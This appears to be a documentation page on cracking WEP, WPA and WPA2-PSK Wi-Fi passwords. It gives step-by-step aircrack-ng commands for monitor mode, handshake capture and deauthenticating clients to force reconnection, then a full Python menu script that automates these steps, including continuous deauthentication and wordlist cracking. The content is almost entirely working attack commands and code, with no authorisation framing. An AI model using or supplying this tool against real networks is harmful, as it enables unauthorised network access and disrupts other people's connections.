1. Wireless Network Password Cracking

1. Cracking: WEP, WPA and WPA 2 PSK using Aircrack-ng

  1. To Checking Wireless Network Card

iwconfig
  1. To Put the network adapter in monitoring mode

airmon-ng start interface
  1. To Check for available wireless networks

airodump -ng interface
  1. Run the below command to capture

airodump-ng -c <channel id> --bssid <id> -w capturedfilename wlan0mon
  1. Run this command to disconnect a client from the network and force it to reconnect

aireplay-ng -0 <no of deauth packet to send> -a <bssid> -c <client mac id> wlan0mon
  1. Now run the below command to extract the password from the .cap file

aircrack-ng -w mywordlist.txt -b <bssid> capturedfile-01.cap

2. Python Automate Tool to crack: WEP, WPA and WPA 2 PSK

import subprocess
import signal
import os
import time

def get_wifi_interfaces():
    try:
        result = subprocess.check_output(["iwconfig"]).decode("utf-8")
        interfaces = [line.split()[0] for line in result.split('\n') if "IEEE" in line]
        return interfaces
    except subprocess.CalledProcessError:
        print("Error retrieving Wi-Fi interfaces.")
        return []

def enable_monitor_mode(interface):
    try:
        # Disable the interface
        subprocess.call(["sudo", "ifconfig", interface, "down"])

        # Enable monitor mode
        subprocess.call(["sudo", "iw", "dev", interface, "set", "type", "monitor"])

        # Enable the interface
        subprocess.call(["sudo", "ifconfig", interface, "up"])

        print(f"Monitor mode enabled on {interface}")
        return f"{interface}mon"  # Return the new interface name in monitor mode
    except Exception as e:
        print(f"Error: {e}")
        return None

def disable_monitor_mode(interface):
    try:
        subprocess.call(["sudo", "airmon-ng", "stop", interface])
        print(f"Monitor mode disabled on {interface}")
    except Exception as e:
        print(f"Error disabling monitor mode: {e}")

def check_wifi_networks(interface):
    try:
        subprocess.call(["sudo", "airodump-ng", interface])
    except Exception as e:
        print(f"Error: {e}")

def capture_traffic_in_separate_terminal(interface, channel, bssid=None):
    try:
        output_file = input("Enter the output file name: ")
        command = ["sudo", "airodump-ng", "--channel", channel, "--write", output_file, interface]
        if bssid:
            command.extend(["--bssid", bssid])

        terminal_command = ["gnome-terminal", "--", *command]
        process = subprocess.Popen(terminal_command)

        print(f"Capturing traffic on channel {channel}. Press Ctrl+C to stop.")
        return process
    except Exception as e:
        print(f"Error: {e}")

def deauthenticate_clients_in_separate_terminal(interface, bssid, station_id):
    try:
        command = ["sudo", "aireplay-ng", "--deauth", "0", "-a", bssid, "-c", station_id, interface]
        terminal_command = ["gnome-terminal", "--", *command]
        process = subprocess.Popen(terminal_command)

        print(f"Deauthentication sent to station {station_id} on AP {bssid}.")
        return process
    except Exception as e:
        print(f"Error: {e}")

def stop_airodump(process):
    try:
        os.kill(process.pid, signal.SIGINT)
    except Exception as e:
        print(f"Error stopping airodump-ng: {e}")

def stop_aireplay(process):
    try:
        os.kill(process.pid, signal.SIGINT)
    except Exception as e:
        print(f"Error stopping aireplay-ng: {e}")

def extract_password(wordlist, bssid, capture_file):
    try:
        wordlist_path = os.path.abspath(wordlist)
        capture_file_path = os.path.abspath(capture_file)
        command = ["sudo", "aircrack-ng", "-w", wordlist_path, "-b", bssid, capture_file_path]
        subprocess.call(command)
    except Exception as e:
        print(f"Error: {e}")

def main():
    print("Wi-Fi Pentest Automation Script")
    print("--------------------------------")

    monitor_interface = None
    airodump_process = None
    aireplay_process = None

    while True:
        print("\nMenu:")
        print("1. Enable Monitor Mode")
        print("2. Check Available Networks")
        print("3. Capture Traffic (airodump-ng)")
        print("4. Deauthenticate Clients (aireplay-ng)")
        print("5. Extract Password (aircrack-ng)")
        print("6. Disable Monitor Mode")
        print("7. Exit")

        choice = input("Enter your choice: ")

        if choice == "1":
            wifi_interfaces = get_wifi_interfaces()

            if not wifi_interfaces:
                print("No Wi-Fi interfaces found.")
            else:
                print("Available Wi-Fi interfaces:")
                for i, intf in enumerate(wifi_interfaces, start=1):
                    print(f"{i}. {intf}")

                try:
                    intf_choice = int(input("Enter the number of the Wi-Fi interface to enable monitor mode: "))
                    selected_interface = wifi_interfaces[intf_choice - 1]
                    monitor_interface = enable_monitor_mode(selected_interface)

                    if monitor_interface:
                        print(f"Monitor mode enabled on {monitor_interface}")
                except (ValueError, IndexError):
                    print("Invalid choice. Exiting.")
        elif choice == "2":
            wifi_interface = input("Enter the Wi-Fi interface to check available networks (e.g., wlan0): ")
            check_wifi_networks(wifi_interface)
        elif choice == "3":
            wifi_interface = input("Enter the Wi-Fi interface for capturing traffic (e.g., wlan0mon): ")
            channel = input("Enter the Wi-Fi channel to capture traffic: ")
            bssid = input("Enter the BSSID to filter (optional, press Enter to capture from all): ")
            airodump_process = capture_traffic_in_separate_terminal(wifi_interface, channel, bssid)
        elif choice == "4":
            wifi_interface = input("Enter the Wi-Fi interface for deauthentication (e.g., wlan0mon): ")
            bssid = input("Enter the BSSID of the target AP: ")
            station_id = input("Enter the station ID of the client to deauthenticate: ")
            aireplay_process = deauthenticate_clients_in_separate_terminal(wifi_interface, bssid, station_id)
        elif choice == "5":
            wordlist = input("Enter the path to the wordlist file (e.g., wordlist.txt): ")
            bssid = input("Enter the BSSID of the target AP: ")
            capture_file = input("Enter the path to the capture file (e.g., capture-01.cap): ")
            extract_password(wordlist, bssid, capture_file)
        elif choice == "6":
            wifi_interface = input("Enter the Wi-Fi interface to disable monitor mode (e.g., wlan0mon): ")
            disable_monitor_mode(wifi_interface)
        elif choice == "7":
            if airodump_process:
                stop_airodump(airodump_process)
            if aireplay_process:
                stop_aireplay(aireplay_process)
            if monitor_interface:
                disable_monitor_mode(monitor_interface)
            print("Exiting.")
            break
        else:
            print("Invalid choice. Please enter a number between 1 and 7.")

if __name__ == "__main__":
    main()

Last updated